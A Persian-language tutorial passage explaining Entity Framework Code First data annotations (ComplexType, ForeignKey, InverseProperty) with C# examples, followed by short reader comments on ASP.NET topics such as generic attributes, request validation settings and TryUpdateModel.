کلاس زیر را به همراه ویژگی ComplexType به برنامه مطلب جاری اضافه نمائید:

using System.ComponentModel.DataAnnotations;

namespace EF_Sample02.Models
{
[ComplexType]
public class InterestComponent
{
[MaxLength(450, ErrorMessage = "حداکثر 450 حرف")]
public string Interest1 { get; set; }

[MaxLength(450, ErrorMessage = "حداکثر 450 حرف")]
public string Interest2 { get; set; }
}
}

سپس خاصیت زیر را نیز به کلاس User اضافه کنید:

public InterestComponent Interests { set; get; }

همانطور که ملاحظه می‌کنید کلاس InterestComponent فاقد Id است؛ بنابراین هدف از آن تعریف یک Entity نیست و قرار هم نیست در کلاس مشتق شده از DbContext تعریف شود. از آن صرفا جهت نظم بخشیدن به یک سری خاصیت مرتبط و هم‌خانواده استفاده شده است (مثلا آدرس یک، آدرس 2، تا آدرس 10 یک شخص، یا تلفن یک تلفن 2 یا موبایل 10 یک شخص).
اکنون اگر پروژه را اجرا نمائیم، ساختار جدول کاربر به نحو زیر تغییر خواهد کرد:

CREATE TABLE [dbo].[Users](
---...
[Interests_Interest1] [nvarchar](450) NULL,
[Interests_Interest2] [nvarchar](450) NULL,
---...

در اینجا خواص کلاس InterestComponent، داخل همان کلاس User تعریف شده‌اند و نه در یک جدول مجزا. تنها در سمت کدهای ما است که مدیریت آن‌ها منطقی‌تر شده‌اند.

یک نکته:
یکی از الگوهایی که حین تشکیل مدل‌های برنامه عموما مورد استفاده قرار می‌گیرد، null object pattern نام دارد. برای مثال:

namespace EF_Sample02.Models
{
public class User
{
public InterestComponent Interests { set; get; }
public User()
{
Interests = new InterestComponent();
}
}
}

در اینجا در سازنده کلاس User، به خاصیت Interests وهله‌ای از کلاس InterestComponent نسبت داده شده است. به این ترتیب دیگر در کدهای برنامه مدام نیازی نخواهد بود تا بررسی شود که آیا Interests نال است یا خیر. همچنین استفاده از این الگو حین کار با یک ComplexType ضروری است؛ زیرا EF امکان ثبت رکورد جاری را در صورت نال بودن خاصیت Interests (صرفنظر از اینکه خواص آن مقدار دهی شده‌اند یا خیر) نخواهد داد.


8) ForeignKey
این ویژگی نیز در فضای نام System.ComponentModel.DataAnnotations قرار دارد، اما در اسمبلی EntityFramework.dll تعریف شده‌است.
اگر از قراردادهای پیش فرض نامگذاری کلیدهای خارجی در EF Code first خرسند نیستید، می‌توانید توسط ویژگی ForeignKey، نامگذاری مورد نظر خود را اعمال نمائید. باید دقت داشت که ویژگی ForeignKey را باید به یک Reference property اعمال کرد. همچنین در این حالت، کلید خارجی را با یک value type نیز می‌توان نمایش داد:
[ForeignKey("FK_User_Id")]
public virtual User User { set; get; }
public int FK_User_Id { set; get; }

در اینجا فیلد اضافی دوم FK_User_Id به جدول Project اضافه نخواهد شد (چون توسط ویژگی ForeignKey تعریف شده است و فقط یکبار تعریف می‌شود). اما در این حالت نیز وجود Reference property ضروری است.


9) InverseProperty
این ویژگی نیز در فضای نام System.ComponentModel.DataAnnotations قرار دارد، اما در اسمبلی EntityFramework.dll تعریف شده‌است.
از ویژگی InverseProperty برای تعریف روابط دو طرفه استفاده می‌شود.
برای مثال دو کلاس زیر را درنظر بگیرید:
public class Book
{
public int ID {get; set;}
public string Title {get; set;}

[InverseProperty("Books")]
public Author Author {get; set;}
}

public class Author
{
public int ID {get; set;}
public string Name {get; set;}

[InverseProperty("Author")]
public virtual ICollection<Book> Books {get; set;}
}

این دو کلاس همانند کلاس‌های User و Project فوق هستند. ذکر ویژگی InverseProperty برای مشخص سازی ارتباطات بین این دو غیرضروری است و قراردادهای توکار EF Code first یک چنین مواردی را به خوبی مدیریت می‌کنند.
اما اکنون مثال زیر را درنظر بگیرید:
public class Book
{
public int ID {get; set;}
public string Title {get; set;}

public Author FirstAuthor {get; set;}
public Author SecondAuthor {get; set;}
}

public class Author
{
public int ID {get; set;}
public string Name {get; set;}

public virtual ICollection<Book> BooksAsFirstAuthor {get; set;}
public virtual ICollection<Book> BooksAsSecondAuthor {get; set;}
}

این مثال ویژه‌ای است از کتابخانه‌ای که کتاب‌های آن، تنها توسط دو نویسنده نوشته‌ شده‌اند. اگر برنامه را بر اساس این دو کلاس اجرا کنیم، EF Code first قادر نخواهد بود تشخیص دهد، روابط کدام به کدام هستند و در جدول Books چهار کلید خارجی را ایجاد می‌کند. برای مدیریت این مساله و تعین ابتدا و انتهای روابط می‌توان از ویژگی InverseProperty کمک گرفت:

public class Book
{
public int ID {get; set;}
public string Title {get; set;}

[InverseProperty("BooksAsFirstAuthor")]
public Author FirstAuthor {get; set;}
[InverseProperty("BooksAsSecondAuthor")]
public Author SecondAuthor {get; set;}
}

public class Author
{
public int ID {get; set;}
public string Name {get; set;}

[InverseProperty("FirstAuthor")]
public virtual ICollection<Book> BooksAsFirstAuthor {get; set;}
[InverseProperty("SecondAuthor")]
public virtual ICollection<Book> BooksAsSecondAuthor {get; set;}
}

اینبار اگر برنامه را اجرا کنیم، بین این دو جدول تنها دو رابطه تشکیل خواهد شد و نه چهار رابطه؛ چون EF اکنون می‌داند که ابتدا و انتهای روابط کجا است. همچنین ذکر ویژگی InverseProperty در یک سر رابطه کفایت می‌کند و نیازی به ذکر آن در طرف دوم نیست.




نظرات مطالب
پشتیبانی از Generic Attributes در C# 11
یک نکته‌ی تکمیلی: بکارگیری گسترده‌ی Generic attributes در ASP.NET Core 8x

ویژگی Generic attributes به C# 11 اضافه شد، اما در آن زمان، تغییری در تعاریف ویژگی‌های مبتنی بر System.Type موجود در ASP.NET Core 7x رخ نداد. اکنون این قابلیت به صورت گسترده‌ای در ASP.NET Core 8x در موارد زیر بکارگرفته شده‌است:
ProducesResponseType<T>
Produces<T>
MiddlewareFilter<T>
ModelBinder<T>
ModelMetadataType<T>
ServiceFilter<T>
TypeFilter<T>
نظرات مطالب
ASP.NET MVC #1
- در نظرات مطلب «PHP سریعتر از ASP.NET! افسانه یا واقعیت؟ » در مورد علت تاخیر اولیه نمایش سایت‌های ASP.NET بحث شده. (چند مرحله‌ای بودن کامپایل کدهای دات نت و زمان بارگذاری اولیه برنامه در یک پروسه وب؛ بعد از این گذر اولیه الزامی، با سرعت خوبی مواجه خواهید بود)
- ضمنا بحث MVC، بحث سرعت نیست. این‌ها مسایل حاشیه‌ای هستند. اینجا در مورد یک طرز تفکر دیگر، در مورد بکارگیری الگوها، تهیه برنامه‌هایی با قابلیت آزمون پذیری بهتر، تمیزتر و اصولی کار کردن بیشتر بحث می‌شود و نه مسابقه‌ی سرعت.
نظرات مطالب
مقابله با XSS ؛ یکبار برای همیشه!
به احتمال زیاد تابحال در برنامه‌های وب خودتون نیاز به ارسال html به همراه تگ‌های آن نداشتید، ولی در کل:
- غیرفعال کردن validateRequest در سطح یک صفحه
<%@ Page 
Language="C#" 
        AutoEventWireup="true" 
        CodeBehind="editpage.aspx.cs" 
        validateRequest="false" 
        Inherits="MyProject.UI.editpage" %>
- در سطح کل برنامه
<system.web>
    <pages validateRequest="false" enableEventValidation="true" />
    <httpRuntime requestValidationMode="2.0" />
</system.web>
البته asp.net mvc از این لحاظ پیشرفته‌تر است؛ چون اجازه می‌ده در سطح یک خاصیت فقط این بررسی رو خاموش کرد با بکارگیری ویژگی AllowHtml آن.

نظرات مطالب
ASP.NET MVC #11
یک راه دوم یا راه بکارگیری صریح امکانات هستند. model binder پیش‌فرض در پشت صحنه همین متدها را به صورت خودکار فراخوانی می‌کند. بنابراین ضرورتی ندارد که دستی این‌ متدها را فراخوانی کرد. UpdateModel در صورت بروز مشکلی یک استثناء را صادر می‌کند (InvalidOperationException) اما TryUpdateModel خیر و فرصت خواهید داشت تا با بررسی نتیجه اعتبار سنجی، تصمیم بهتری را اتخاذ کنید.
کلا هرجایی در دات نت Try دیدید، هدفش همین مساله است. مثلا int.Parse داریم و int.TryParse. در مورد سایر نوع‌های عددی هم این دو نوع متد وجود دارند. متد Parse اگر نتواند تبدیل را انجام دهد، یک استثناء را صادر می‌کند، اما متد TryParse سعی خودش را خواهد کرد. اگر نشد، فقط false بر می‌گرداند.